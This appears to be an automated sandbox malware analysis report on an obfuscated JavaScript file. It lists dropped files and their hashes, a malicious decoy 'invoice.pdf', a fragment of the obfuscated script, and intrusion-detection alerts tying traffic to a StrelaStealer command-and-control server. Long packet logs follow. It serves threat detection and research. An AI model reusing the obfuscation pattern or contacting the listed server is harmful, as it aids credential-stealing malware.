Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7f92967e-4e06-4c3d-a105-3014cc850801.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\89eca5ff-00f3-43c9-a53b-ae09cdb94308.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16990), with CRLF line terminators
Entropy (8bit):	4.915913343048514
TrID:
File name:	293459661900119816.js
File size:	20'462 bytes
MD5:	a0e8a47e255ee413332fb8c14bf57d12
SHA1:	adcf0ecae2795f409127a8a3498afb3eb5cbd3d2
SHA256:	c94c17b4f52ff5af6dd6de8c1120f118a85ab3d4940ba45f1592453034d75083
SHA512:	f1da82ddca535e43eae95ef279eb4db3e926893d553de73f4c21dd41f527e731916c92571a3d400c561e5b464a64f5263ffa3f80718f5ca5faf109d0171aacdf
SSDEEP:	384:r4nzwLRFJP/Y26Frzfk3Fl+rO+8XAK99bTZPDSzz1IWt6M1Pqtx5Z8pNqBT4qjeA:jP/gzfk3Fl+rOFfXvtZ
TLSH:	B29235C4D1899BC2D2D407F0277284DBF2D043DEED4AA2C61941ACD92A36D73A5E2A79
File Content Preview:	function ooppc(){evqanc=[1031,3079,5127,4103,2055,3072];var agsqof=this[cifwlwhi+vcxtdros+plbwgtknh+rkzebqunf+snfpaq+ztyowsh+yameqpvpa+knlrepua](this[emyvks+cgdjx+yggtf+plbwgtknh+gekzpdv+cifwlwhi+knlrepua][cdhodqhya+plbwgtknh+snfpaq+vcxtdros+knlrepua+snfp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:33:53.756815+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T05:33:53.756815+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T05:33:56.058868+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49727	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:33:52.961209059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:52.969657898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:52.973045111 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:52.985349894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:52.992332935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756724119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756740093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756814957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756814957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.756828070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756839991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756859064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.756902933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756913900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756926060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756936073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756947994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.756948948 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.756974936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.756989002 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.761765003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.761810064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.761861086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.799590111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.799608946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.799813986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.885691881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.885713100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.885723114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.885734081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.885746002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.885821104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.886075974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.886107922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.886121035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.886435986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.886449099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.886460066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.886471033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.886477947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.886482000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.886507988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.886528969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.887348890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.887363911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.887377977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.887388945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.887406111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.887406111 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.887428045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.888171911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.888185978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.888196945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.888207912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.888216972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.888247013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.927933931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.927967072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.927984953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.927994967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.928026915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.928067923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:53.972225904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.972239971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:53.972376108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.014024019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014048100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014059067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014147997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.014239073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014281034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.014292955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014306068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014369011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.014408112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014456987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014468908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014497042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.014529943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014540911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014552116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014563084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.014570951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.014602900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.015337944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015350103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015361071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015371084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015382051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015388012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.015415907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.015889883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015902042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015913010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015923977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015934944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015945911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015957117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015961885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.015970945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.015994072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.016016960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.016887903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016895056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016905069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016911030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016916990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016922951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016930103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016935110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.016937971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.016962051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.017004013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.017817974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017831087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017858028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017862082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.017869949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017882109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017893076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017904043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017915010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.017920971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.017961025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.018743992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.018764019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.018814087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.062050104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.062066078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.062077999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.062160015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.100693941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.100723982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.100735903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.100748062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.100774050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.100809097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.142493010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142519951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142530918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142559052 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.142587900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.142647028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142657995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142669916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142697096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.142714977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142730951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142750025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.142781973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142839909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142852068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142864943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.142880917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142890930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.142893076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142904997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.142925978 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.143210888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143246889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143249035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.143258095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143270016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143290997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143297911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.143336058 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.143506050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143517017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143528938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143552065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.143683910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143695116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143707037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143717051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.143743992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.143743992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144108057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144119024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144130945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144140959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144146919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144160986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144167900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144171953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144184113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144193888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144196033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144206047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144227028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144249916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144674063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144685984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144704103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144716024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144722939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144735098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144745111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144757032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144772053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144802094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144804001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144814014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144850016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144891024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144902945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144913912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144925117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.144932985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.144953012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.145725012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145735979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145746946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145757914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145765066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.145768881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145780087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145798922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145808935 CET	80	49711	193.143.1.205	192.168.2.6
